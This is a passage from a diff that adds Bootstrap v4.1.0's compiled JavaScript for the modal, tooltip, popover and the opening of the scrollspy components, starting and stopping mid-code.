Util.getTransitionDurationFromElement(this._element); + $$$1(this._element).one(Util.TRANSITION_END, function (event) { + return _this2._hideModal(event); + }).emulateTransitionEnd(transitionDuration); + } else { + this._hideModal(); + } + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + $$$1(window, document, this._element, this._backdrop).off(EVENT_KEY); + this._config = null; + this._element = null; + this._dialog = null; + this._backdrop = null; + this._isShown = null; + this._isBodyOverflowing = null; + this._ignoreBackdropClick = null; + this._scrollbarWidth = null; + }; + + _proto.handleUpdate = function handleUpdate() { + this._adjustDialog(); + }; // Private + + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, Default, config); + Util.typeCheckConfig(NAME, config, DefaultType); + return config; + }; + + _proto._showElement = function _showElement(relatedTarget) { + var _this3 = this; + + var transition = $$$1(this._element).hasClass(ClassName.FADE); + + if (!this._element.parentNode || this._element.parentNode.nodeType !== Node.ELEMENT_NODE) { + // Don't move modal's DOM position + document.body.appendChild(this._element); + } + + this._element.style.display = 'block'; + + this._element.removeAttribute('aria-hidden'); + + this._element.scrollTop = 0; + + if (transition) { + Util.reflow(this._element); + } + + $$$1(this._element).addClass(ClassName.SHOW); + + if (this._config.focus) { + this._enforceFocus(); + } + + var shownEvent = $$$1.Event(Event.SHOWN, { + relatedTarget: relatedTarget + }); + + var transitionComplete = function transitionComplete() { + if (_this3._config.focus) { + _this3._element.focus(); + } + + _this3._isTransitioning = false; + $$$1(_this3._element).trigger(shownEvent); + }; + + if (transition) { + var transitionDuration = Util.getTransitionDurationFromElement(this._element); + $$$1(this._dialog).one(Util.TRANSITION_END, transitionComplete).emulateTransitionEnd(transitionDuration); + } else { + transitionComplete(); + } + }; + + _proto._enforceFocus = function _enforceFocus() { + var _this4 = this; + + $$$1(document).off(Event.FOCUSIN) // Guard against infinite focus loop + .on(Event.FOCUSIN, function (event) { + if (document !== event.target && _this4._element !== event.target && $$$1(_this4._element).has(event.target).length === 0) { + _this4._element.focus(); + } + }); + }; + + _proto._setEscapeEvent = function _setEscapeEvent() { + var _this5 = this; + + if (this._isShown && this._config.keyboard) { + $$$1(this._element).on(Event.KEYDOWN_DISMISS, function (event) { + if (event.which === ESCAPE_KEYCODE) { + event.preventDefault(); + + _this5.hide(); + } + }); + } else if (!this._isShown) { + $$$1(this._element).off(Event.KEYDOWN_DISMISS); + } + }; + + _proto._setResizeEvent = function _setResizeEvent() { + var _this6 = this; + + if (this._isShown) { + $$$1(window).on(Event.RESIZE, function (event) { + return _this6.handleUpdate(event); + }); + } else { + $$$1(window).off(Event.RESIZE); + } + }; + + _proto._hideModal = function _hideModal() { + var _this7 = this; + + this._element.style.display = 'none'; + + this._element.setAttribute('aria-hidden', true); + + this._isTransitioning = false; + + this._showBackdrop(function () { + $$$1(document.body).removeClass(ClassName.OPEN); + + _this7._resetAdjustments(); + + _this7._resetScrollbar(); + + $$$1(_this7._element).trigger(Event.HIDDEN); + }); + }; + + _proto._removeBackdrop = function _removeBackdrop() { + if (this._backdrop) { + $$$1(this._backdrop).remove(); + this._backdrop = null; + } + }; + + _proto._showBackdrop = function _showBackdrop(callback) { + var _this8 = this; + + var animate = $$$1(this._element).hasClass(ClassName.FADE) ? ClassName.FADE : ''; + + if (this._isShown && this._config.backdrop) { + this._backdrop = document.createElement('div'); + this._backdrop.className = ClassName.BACKDROP; + + if (animate) { + $$$1(this._backdrop).addClass(animate); + } + + $$$1(this._backdrop).appendTo(document.body); + $$$1(this._element).on(Event.CLICK_DISMISS, function (event) { + if (_this8._ignoreBackdropClick) { + _this8._ignoreBackdropClick = false; + return; + } + + if (event.target !== event.currentTarget) { + return; + } + + if (_this8._config.backdrop === 'static') { + _this8._element.focus(); + } else { + _this8.hide(); + } + }); + + if (animate) { + Util.reflow(this._backdrop); + } + + $$$1(this._backdrop).addClass(ClassName.SHOW); + + if (!callback) { + return; + } + + if (!animate) { + callback(); + return; + } + + var backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop); + $$$1(this._backdrop).one(Util.TRANSITION_END, callback).emulateTransitionEnd(backdropTransitionDuration); + } else if (!this._isShown && this._backdrop) { + $$$1(this._backdrop).removeClass(ClassName.SHOW); + + var callbackRemove = function callbackRemove() { + _this8._removeBackdrop(); + + if (callback) { + callback(); + } + }; + + if ($$$1(this._element).hasClass(ClassName.FADE)) { + var _backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop); + + $$$1(this._backdrop).one(Util.TRANSITION_END, callbackRemove).emulateTransitionEnd(_backdropTransitionDuration); + } else { + callbackRemove(); + } + } else if (callback) { + callback(); + } + }; // ---------------------------------------------------------------------- + // the following methods are used to handle overflowing modals + // todo (fat): these should probably be refactored out of modal.js + // ---------------------------------------------------------------------- + + + _proto._adjustDialog = function _adjustDialog() { + var isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight; + + if (!this._isBodyOverflowing && isModalOverflowing) { + this._element.style.paddingLeft = this._scrollbarWidth + "px"; + } + + if (this._isBodyOverflowing && !isModalOverflowing) { + this._element.style.paddingRight = this._scrollbarWidth + "px"; + } + }; + + _proto._resetAdjustments = function _resetAdjustments() { + this._element.style.paddingLeft = ''; + this._element.style.paddingRight = ''; + }; + + _proto._checkScrollbar = function _checkScrollbar() { + var rect = document.body.getBoundingClientRect(); + this._isBodyOverflowing = rect.left + rect.right < window.innerWidth; + this._scrollbarWidth = this._getScrollbarWidth(); + }; + + _proto._setScrollbar = function _setScrollbar() { + var _this9 = this; + + if (this._isBodyOverflowing) { + // Note: DOMNode.style.paddingRight returns the actual value or '' if not set + // while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set + // Adjust fixed content padding + $$$1(Selector.FIXED_CONTENT).each(function (index, element) { + var actualPadding = $$$1(element)[0].style.paddingRight; + var calculatedPadding = $$$1(element).css('padding-right'); + $$$1(element).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + _this9._scrollbarWidth + "px"); + }); // Adjust sticky content margin + + $$$1(Selector.STICKY_CONTENT).each(function (index, element) { + var actualMargin = $$$1(element)[0].style.marginRight; + var calculatedMargin = $$$1(element).css('margin-right'); + $$$1(element).data('margin-right', actualMargin).css('margin-right', parseFloat(calculatedMargin) - _this9._scrollbarWidth + "px"); + }); // Adjust navbar-toggler margin + + $$$1(Selector.NAVBAR_TOGGLER).each(function (index, element) { + var actualMargin = $$$1(element)[0].style.marginRight; + var calculatedMargin = $$$1(element).css('margin-right'); + $$$1(element).data('margin-right', actualMargin).css('margin-right', parseFloat(calculatedMargin) + _this9._scrollbarWidth + "px"); + }); // Adjust body padding + + var actualPadding = document.body.style.paddingRight; + var calculatedPadding = $$$1(document.body).css('padding-right'); + $$$1(document.body).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + this._scrollbarWidth + "px"); + } + }; + + _proto._resetScrollbar = function _resetScrollbar() { + // Restore fixed content padding + $$$1(Selector.FIXED_CONTENT).each(function (index, element) { + var padding = $$$1(element).data('padding-right'); + + if (typeof padding !== 'undefined') { + $$$1(element).css('padding-right', padding).removeData('padding-right'); + } + }); // Restore sticky content and navbar-toggler margin + + $$$1(Selector.STICKY_CONTENT + ", " + Selector.NAVBAR_TOGGLER).each(function (index, element) { + var margin = $$$1(element).data('margin-right'); + + if (typeof margin !== 'undefined') { + $$$1(element).css('margin-right', margin).removeData('margin-right'); + } + }); // Restore body padding + + var padding = $$$1(document.body).data('padding-right'); + + if (typeof padding !== 'undefined') { + $$$1(document.body).css('padding-right', padding).removeData('padding-right'); + } + }; + + _proto._getScrollbarWidth = function _getScrollbarWidth() { + // thx d.walsh + var scrollDiv = document.createElement('div'); + scrollDiv.className = ClassName.SCROLLBAR_MEASURER; + document.body.appendChild(scrollDiv); + var scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth; + document.body.removeChild(scrollDiv); + return scrollbarWidth; + }; // Static + + + Modal._jQueryInterface = function _jQueryInterface(config, relatedTarget) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + var _config = _objectSpread({}, Modal.Default, $$$1(this).data(), typeof config === 'object' && config); + + if (!data) { + data = new Modal(this, _config); + $$$1(this).data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](relatedTarget); + } else if (_config.show) { + data.show(relatedTarget); + } + }); + }; + + _createClass(Modal, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }]); + + return Modal; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) { + var _this10 = this; + + var target; + var selector = Util.getSelectorFromElement(this); + + if (selector) { + target = $$$1(selector)[0]; + } + + var config = $$$1(target).data(DATA_KEY) ? 'toggle' : _objectSpread({}, $$$1(target).data(), $$$1(this).data()); + + if (this.tagName === 'A' || this.tagName === 'AREA') { + event.preventDefault(); + } + + var $target = $$$1(target).one(Event.SHOW, function (showEvent) { + if (showEvent.isDefaultPrevented()) { + // Only register focus restorer if modal will actually get shown + return; + } + + $target.one(Event.HIDDEN, function () { + if ($$$1(_this10).is(':visible')) { + _this10.focus(); + } + }); + }); + + Modal._jQueryInterface.call($$$1(target), config, this); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Modal._jQueryInterface; + $$$1.fn[NAME].Constructor = Modal; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Modal._jQueryInterface; + }; + + return Modal; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): tooltip.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Tooltip = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'tooltip'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.tooltip'; + var EVENT_KEY = "." + DATA_KEY; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var CLASS_PREFIX = 'bs-tooltip'; + var BSCLS_PREFIX_REGEX = new RegExp("(^|\\s)" + CLASS_PREFIX + "\\S+", 'g'); + var DefaultType = { + animation: 'boolean', + template: 'string', + title: '(string|element|function)', + trigger: 'string', + delay: '(number|object)', + html: 'boolean', + selector: '(string|boolean)', + placement: '(string|function)', + offset: '(number|string)', + container: '(string|element|boolean)', + fallbackPlacement: '(string|array)', + boundary: '(string|element)' + }; + var AttachmentMap = { + AUTO: 'auto', + TOP: 'top', + RIGHT: 'right', + BOTTOM: 'bottom', + LEFT: 'left' + }; + var Default = { + animation: true, + template: '<div class="tooltip" role="tooltip">' + '<div class="arrow"></div>' + '<div class="tooltip-inner"></div></div>', + trigger: 'hover focus', + title: '', + delay: 0, + html: false, + selector: false, + placement: 'top', + offset: 0, + container: false, + fallbackPlacement: 'flip', + boundary: 'scrollParent' + }; + var HoverState = { + SHOW: 'show', + OUT: 'out' + }; + var Event = { + HIDE: "hide" + EVENT_KEY, + HIDDEN: "hidden" + EVENT_KEY, + SHOW: "show" + EVENT_KEY, + SHOWN: "shown" + EVENT_KEY, + INSERTED: "inserted" + EVENT_KEY, + CLICK: "click" + EVENT_KEY, + FOCUSIN: "focusin" + EVENT_KEY, + FOCUSOUT: "focusout" + EVENT_KEY, + MOUSEENTER: "mouseenter" + EVENT_KEY, + MOUSELEAVE: "mouseleave" + EVENT_KEY + }; + var ClassName = { + FADE: 'fade', + SHOW: 'show' + }; + var Selector = { + TOOLTIP: '.tooltip', + TOOLTIP_INNER: '.tooltip-inner', + ARROW: '.arrow' + }; + var Trigger = { + HOVER: 'hover', + FOCUS: 'focus', + CLICK: 'click', + MANUAL: 'manual' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Tooltip = + /*#__PURE__*/ + function () { + function Tooltip(element, config) { + /** + * Check for Popper dependency + * Popper - https://popper.js.org + */ + if (typeof Popper === 'undefined') { + throw new TypeError('Bootstrap tooltips require Popper.js (https://popper.js.org)'); + } // private + + + this._isEnabled = true; + this._timeout = 0; + this._hoverState = ''; + this._activeTrigger = {}; + this._popper = null; // Protected + + this.element = element; + this.config = this._getConfig(config); + this.tip = null; + + this._setListeners(); + } // Getters + + + var _proto = Tooltip.prototype; + + // Public + _proto.enable = function enable() { + this._isEnabled = true; + }; + + _proto.disable = function disable() { + this._isEnabled = false; + }; + + _proto.toggleEnabled = function toggleEnabled() { + this._isEnabled = !this._isEnabled; + }; + + _proto.toggle = function toggle(event) { + if (!this._isEnabled) { + return; + } + + if (event) { + var dataKey = this.constructor.DATA_KEY; + var context = $$$1(event.currentTarget).data(dataKey); + + if (!context) { + context = new this.constructor(event.currentTarget, this._getDelegateConfig()); + $$$1(event.currentTarget).data(dataKey, context); + } + + context._activeTrigger.click = !context._activeTrigger.click; + + if (context._isWithActiveTrigger()) { + context._enter(null, context); + } else { + context._leave(null, context); + } + } else { + if ($$$1(this.getTipElement()).hasClass(ClassName.SHOW)) { + this._leave(null, this); + + return; + } + + this._enter(null, this); + } + }; + + _proto.dispose = function dispose() { + clearTimeout(this._timeout); + $$$1.removeData(this.element, this.constructor.DATA_KEY); + $$$1(this.element).off(this.constructor.EVENT_KEY); + $$$1(this.element).closest('.modal').off('hide.bs.modal'); + + if (this.tip) { + $$$1(this.tip).remove(); + } + + this._isEnabled = null; + this._timeout = null; + this._hoverState = null; + this._activeTrigger = null; + + if (this._popper !== null) { + this._popper.destroy(); + } + + this._popper = null; + this.element = null; + this.config = null; + this.tip = null; + }; + + _proto.show = function show() { + var _this = this; + + if ($$$1(this.element).css('display') === 'none') { + throw new Error('Please use show on visible elements'); + } + + var showEvent = $$$1.Event(this.constructor.Event.SHOW); + + if (this.isWithContent() && this._isEnabled) { + $$$1(this.element).trigger(showEvent); + var isInTheDom = $$$1.contains(this.element.ownerDocument.documentElement, this.element); + + if (showEvent.isDefaultPrevented() || !isInTheDom) { + return; + } + + var tip = this.getTipElement(); + var tipId = Util.getUID(this.constructor.NAME); + tip.setAttribute('id', tipId); + this.element.setAttribute('aria-describedby', tipId); + this.setContent(); + + if (this.config.animation) { + $$$1(tip).addClass(ClassName.FADE); + } + + var placement = typeof this.config.placement === 'function' ? this.config.placement.call(this, tip, this.element) : this.config.placement; + + var attachment = this._getAttachment(placement); + + this.addAttachmentClass(attachment); + var container = this.config.container === false ? document.body : $$$1(this.config.container); + $$$1(tip).data(this.constructor.DATA_KEY, this); + + if (!$$$1.contains(this.element.ownerDocument.documentElement, this.tip)) { + $$$1(tip).appendTo(container); + } + + $$$1(this.element).trigger(this.constructor.Event.INSERTED); + this._popper = new Popper(this.element, tip, { + placement: attachment, + modifiers: { + offset: { + offset: this.config.offset + }, + flip: { + behavior: this.config.fallbackPlacement + }, + arrow: { + element: Selector.ARROW + }, + preventOverflow: { + boundariesElement: this.config.boundary + } + }, + onCreate: function onCreate(data) { + if (data.originalPlacement !== data.placement) { + _this._handlePopperPlacementChange(data); + } + }, + onUpdate: function onUpdate(data) { + _this._handlePopperPlacementChange(data); + } + }); + $$$1(tip).addClass(ClassName.SHOW); // If this is a touch-enabled device we add extra + // empty mouseover listeners to the body's immediate children; + // only needed because of broken event delegation on iOS + // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html + + if ('ontouchstart' in document.documentElement) { + $$$1(document.body).children().on('mouseover', null, $$$1.noop); + } + + var complete = function complete() { + if (_this.config.animation) { + _this._fixTransition(); + } + + var prevHoverState = _this._hoverState; + _this._hoverState = null; + $$$1(_this.element).trigger(_this.constructor.Event.SHOWN); + + if (prevHoverState === HoverState.OUT) { + _this._leave(null, _this); + } + }; + + if ($$$1(this.tip).hasClass(ClassName.FADE)) { + var transitionDuration = Util.getTransitionDurationFromElement(this.tip); + $$$1(this.tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + } else { + complete(); + } + } + }; + + _proto.hide = function hide(callback) { + var _this2 = this; + + var tip = this.getTipElement(); + var hideEvent = $$$1.Event(this.constructor.Event.HIDE); + + var complete = function complete() { + if (_this2._hoverState !== HoverState.SHOW && tip.parentNode) { + tip.parentNode.removeChild(tip); + } + + _this2._cleanTipClass(); + + _this2.element.removeAttribute('aria-describedby'); + + $$$1(_this2.element).trigger(_this2.constructor.Event.HIDDEN); + + if (_this2._popper !== null) { + _this2._popper.destroy(); + } + + if (callback) { + callback(); + } + }; + + $$$1(this.element).trigger(hideEvent); + + if (hideEvent.isDefaultPrevented()) { + return; + } + + $$$1(tip).removeClass(ClassName.SHOW); // If this is a touch-enabled device we remove the extra + // empty mouseover listeners we added for iOS support + + if ('ontouchstart' in document.documentElement) { + $$$1(document.body).children().off('mouseover', null, $$$1.noop); + } + + this._activeTrigger[Trigger.CLICK] = false; + this._activeTrigger[Trigger.FOCUS] = false; + this._activeTrigger[Trigger.HOVER] = false; + + if ($$$1(this.tip).hasClass(ClassName.FADE)) { + var transitionDuration = Util.getTransitionDurationFromElement(tip); + $$$1(tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + } else { + complete(); + } + + this._hoverState = ''; + }; + + _proto.update = function update() { + if (this._popper !== null) { + this._popper.scheduleUpdate(); + } + }; // Protected + + + _proto.isWithContent = function isWithContent() { + return Boolean(this.getTitle()); + }; + + _proto.addAttachmentClass = function addAttachmentClass(attachment) { + $$$1(this.getTipElement()).addClass(CLASS_PREFIX + "-" + attachment); + }; + + _proto.getTipElement = function getTipElement() { + this.tip = this.tip || $$$1(this.config.template)[0]; + return this.tip; + }; + + _proto.setContent = function setContent() { + var $tip = $$$1(this.getTipElement()); + this.setElementContent($tip.find(Selector.TOOLTIP_INNER), this.getTitle()); + $tip.removeClass(ClassName.FADE + " " + ClassName.SHOW); + }; + + _proto.setElementContent = function setElementContent($element, content) { + var html = this.config.html; + + if (typeof content === 'object' && (content.nodeType || content.jquery)) { + // Content is a DOM node or a jQuery + if (html) { + if (!$$$1(content).parent().is($element)) { + $element.empty().append(content); + } + } else { + $element.text($$$1(content).text()); + } + } else { + $element[html ? 'html' : 'text'](content); + } + }; + + _proto.getTitle = function getTitle() { + var title = this.element.getAttribute('data-original-title'); + + if (!title) { + title = typeof this.config.title === 'function' ? this.config.title.call(this.element) : this.config.title; + } + + return title; + }; // Private + + + _proto._getAttachment = function _getAttachment(placement) { + return AttachmentMap[placement.toUpperCase()]; + }; + + _proto._setListeners = function _setListeners() { + var _this3 = this; + + var triggers = this.config.trigger.split(' '); + triggers.forEach(function (trigger) { + if (trigger === 'click') { + $$$1(_this3.element).on(_this3.constructor.Event.CLICK, _this3.config.selector, function (event) { + return _this3.toggle(event); + }); + } else if (trigger !== Trigger.MANUAL) { + var eventIn = trigger === Trigger.HOVER ? _this3.constructor.Event.MOUSEENTER : _this3.constructor.Event.FOCUSIN; + var eventOut = trigger === Trigger.HOVER ? _this3.constructor.Event.MOUSELEAVE : _this3.constructor.Event.FOCUSOUT; + $$$1(_this3.element).on(eventIn, _this3.config.selector, function (event) { + return _this3._enter(event); + }).on(eventOut, _this3.config.selector, function (event) { + return _this3._leave(event); + }); + } + + $$$1(_this3.element).closest('.modal').on('hide.bs.modal', function () { + return _this3.hide(); + }); + }); + + if (this.config.selector) { + this.config = _objectSpread({}, this.config, { + trigger: 'manual', + selector: '' + }); + } else { + this._fixTitle(); + } + }; + + _proto._fixTitle = function _fixTitle() { + var titleType = typeof this.element.getAttribute('data-original-title'); + + if (this.element.getAttribute('title') || titleType !== 'string') { + this.element.setAttribute('data-original-title', this.element.getAttribute('title') || ''); + this.element.setAttribute('title', ''); + } + }; + + _proto._enter = function _enter(event, context) { + var dataKey = this.constructor.DATA_KEY; + context = context || $$$1(event.currentTarget).data(dataKey); + + if (!context) { + context = new this.constructor(event.currentTarget, this._getDelegateConfig()); + $$$1(event.currentTarget).data(dataKey, context); + } + + if (event) { + context._activeTrigger[event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER] = true; + } + + if ($$$1(context.getTipElement()).hasClass(ClassName.SHOW) || context._hoverState === HoverState.SHOW) { + context._hoverState = HoverState.SHOW; + return; + } + + clearTimeout(context._timeout); + context._hoverState = HoverState.SHOW; + + if (!context.config.delay || !context.config.delay.show) { + context.show(); + return; + } + + context._timeout = setTimeout(function () { + if (context._hoverState === HoverState.SHOW) { + context.show(); + } + }, context.config.delay.show); + }; + + _proto._leave = function _leave(event, context) { + var dataKey = this.constructor.DATA_KEY; + context = context || $$$1(event.currentTarget).data(dataKey); + + if (!context) { + context = new this.constructor(event.currentTarget, this._getDelegateConfig()); + $$$1(event.currentTarget).data(dataKey, context); + } + + if (event) { + context._activeTrigger[event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER] = false; + } + + if (context._isWithActiveTrigger()) { + return; + } + + clearTimeout(context._timeout); + context._hoverState = HoverState.OUT; + + if (!context.config.delay || !context.config.delay.hide) { + context.hide(); + return; + } + + context._timeout = setTimeout(function () { + if (context._hoverState === HoverState.OUT) { + context.hide(); + } + }, context.config.delay.hide); + }; + + _proto._isWithActiveTrigger = function _isWithActiveTrigger() { + for (var trigger in this._activeTrigger) { + if (this._activeTrigger[trigger]) { + return true; + } + } + + return false; + }; + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, this.constructor.Default, $$$1(this.element).data(), config); + + if (typeof config.delay === 'number') { + config.delay = { + show: config.delay, + hide: config.delay + }; + } + + if (typeof config.title === 'number') { + config.title = config.title.toString(); + } + + if (typeof config.content === 'number') { + config.content = config.content.toString(); + } + + Util.typeCheckConfig(NAME, config, this.constructor.DefaultType); + return config; + }; + + _proto._getDelegateConfig = function _getDelegateConfig() { + var config = {}; + + if (this.config) { + for (var key in this.config) { + if (this.constructor.Default[key] !== this.config[key]) { + config[key] = this.config[key]; + } + } + } + + return config; + }; + + _proto._cleanTipClass = function _cleanTipClass() { + var $tip = $$$1(this.getTipElement()); + var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX); + + if (tabClass !== null && tabClass.length > 0) { + $tip.removeClass(tabClass.join('')); + } + }; + + _proto._handlePopperPlacementChange = function _handlePopperPlacementChange(data) { + this._cleanTipClass(); + + this.addAttachmentClass(this._getAttachment(data.placement)); + }; + + _proto._fixTransition = function _fixTransition() { + var tip = this.getTipElement(); + var initConfigAnimation = this.config.animation; + + if (tip.getAttribute('x-placement') !== null) { + return; + } + + $$$1(tip).removeClass(ClassName.FADE); + this.config.animation = false; + this.hide(); + this.show(); + this.config.animation = initConfigAnimation; + }; // Static + + + Tooltip._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + var _config = typeof config === 'object' && config; + + if (!data && /dispose|hide/.test(config)) { + return; + } + + if (!data) { + data = new Tooltip(this, _config); + $$$1(this).data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + _createClass(Tooltip, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }, { + key: "NAME", + get: function get() { + return NAME; + } + }, { + key: "DATA_KEY", + get: function get() { + return DATA_KEY; + } + }, { + key: "Event", + get: function get() { + return Event; + } + }, { + key: "EVENT_KEY", + get: function get() { + return EVENT_KEY; + } + }, { + key: "DefaultType", + get: function get() { + return DefaultType; + } + }]); + + return Tooltip; + }(); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + + $$$1.fn[NAME] = Tooltip._jQueryInterface; + $$$1.fn[NAME].Constructor = Tooltip; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Tooltip._jQueryInterface; + }; + + return Tooltip; + }($, Popper); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): popover.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Popover = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'popover'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.popover'; + var EVENT_KEY = "." + DATA_KEY; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var CLASS_PREFIX = 'bs-popover'; + var BSCLS_PREFIX_REGEX = new RegExp("(^|\\s)" + CLASS_PREFIX + "\\S+", 'g'); + + var Default = _objectSpread({}, Tooltip.Default, { + placement: 'right', + trigger: 'click', + content: '', + template: '<div class="popover" role="tooltip">' + '<div class="arrow"></div>' + '<h3 class="popover-header"></h3>' + '<div class="popover-body"></div></div>' + }); + + var DefaultType = _objectSpread({}, Tooltip.DefaultType, { + content: '(string|element|function)' + }); + + var ClassName = { + FADE: 'fade', + SHOW: 'show' + }; + var Selector = { + TITLE: '.popover-header', + CONTENT: '.popover-body' + }; + var Event = { + HIDE: "hide" + EVENT_KEY, + HIDDEN: "hidden" + EVENT_KEY, + SHOW: "show" + EVENT_KEY, + SHOWN: "shown" + EVENT_KEY, + INSERTED: "inserted" + EVENT_KEY, + CLICK: "click" + EVENT_KEY, + FOCUSIN: "focusin" + EVENT_KEY, + FOCUSOUT: "focusout" + EVENT_KEY, + MOUSEENTER: "mouseenter" + EVENT_KEY, + MOUSELEAVE: "mouseleave" + EVENT_KEY + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Popover = + /*#__PURE__*/ + function (_Tooltip) { + _inheritsLoose(Popover, _Tooltip); + + function Popover() { + return _Tooltip.apply(this, arguments) || this; + } + + var _proto = Popover.prototype; + + // Overrides + _proto.isWithContent = function isWithContent() { + return this.getTitle() || this._getContent(); + }; + + _proto.addAttachmentClass = function addAttachmentClass(attachment) { + $$$1(this.getTipElement()).addClass(CLASS_PREFIX + "-" + attachment); + }; + + _proto.getTipElement = function getTipElement() { + this.tip = this.tip || $$$1(this.config.template)[0]; + return this.tip; + }; + + _proto.setContent = function setContent() { + var $tip = $$$1(this.getTipElement()); // We use append for html objects to maintain js events + + this.setElementContent($tip.find(Selector.TITLE), this.getTitle()); + + var content = this._getContent(); + + if (typeof content === 'function') { + content = content.call(this.element); + } + + this.setElementContent($tip.find(Selector.CONTENT), content); + $tip.removeClass(ClassName.FADE + " " + ClassName.SHOW); + }; // Private + + + _proto._getContent = function _getContent() { + return this.element.getAttribute('data-content') || this.config.content; + }; + + _proto._cleanTipClass = function _cleanTipClass() { + var $tip = $$$1(this.getTipElement()); + var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX); + + if (tabClass !== null && tabClass.length > 0) { + $tip.removeClass(tabClass.join('')); + } + }; // Static + + + Popover._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + var _config = typeof config === 'object' ? config : null; + + if (!data && /destroy|hide/.test(config)) { + return; + } + + if (!data) { + data = new Popover(this, _config); + $$$1(this).data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + _createClass(Popover, null, [{ + key: "VERSION", + // Getters + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }, { + key: "NAME", + get: function get() { + return NAME; + } + }, { + key: "DATA_KEY", + get: function get() { + return DATA_KEY; + } + }, { + key: "Event", + get: function get() { + return Event; + } + }, { + key: "EVENT_KEY", + get: function get() { + return EVENT_KEY; + } + }, { + key: "DefaultType", + get: function get() { + return DefaultType; + } + }]); + + return Popover; + }(Tooltip); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + + $$$1.fn[NAME] = Popover._jQueryInterface; + $$$1.fn[NAME].Constructor = Popover; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Popover._jQueryInterface; + }; + + return Popover; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): scrollspy.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var ScrollSpy = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'scrollspy'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.scrollspy'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var Default = { + offset: 10, + method: 'auto', + target: '' + }; + var DefaultType = { + offset: 'number', + method: 'string', + target: '(string|element)' + }; + var Event = { + ACTIVATE: "activate" + EVENT_KEY, + SCROLL: "scroll" + EVENT_KEY, + LOAD_DATA_API: "load" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + DROPDOWN_ITEM: 'dropdown-item', + DROPDOWN_MENU: 'dropdown-menu', + ACTIVE: 'active' + }; + var Selector = { + DATA_SPY: '[data-spy="scroll"]', + ACTIVE: '.active', + NAV_LIST_GROUP: '.nav, .list-group', + NAV_LINKS: '.nav-link', + NAV_ITEMS: '.nav-item', + LIST_ITEMS: '.list-group-item', + DROPDOWN: '.dropdown', + DROPDOWN_ITEMS: '.dropdown-item', + DROPDOWN_TOGGLE: '.dropdown-toggle' + }; + var OffsetMethod = { + OFFSET: 'offset', + POSITION: 'position' + /** + * 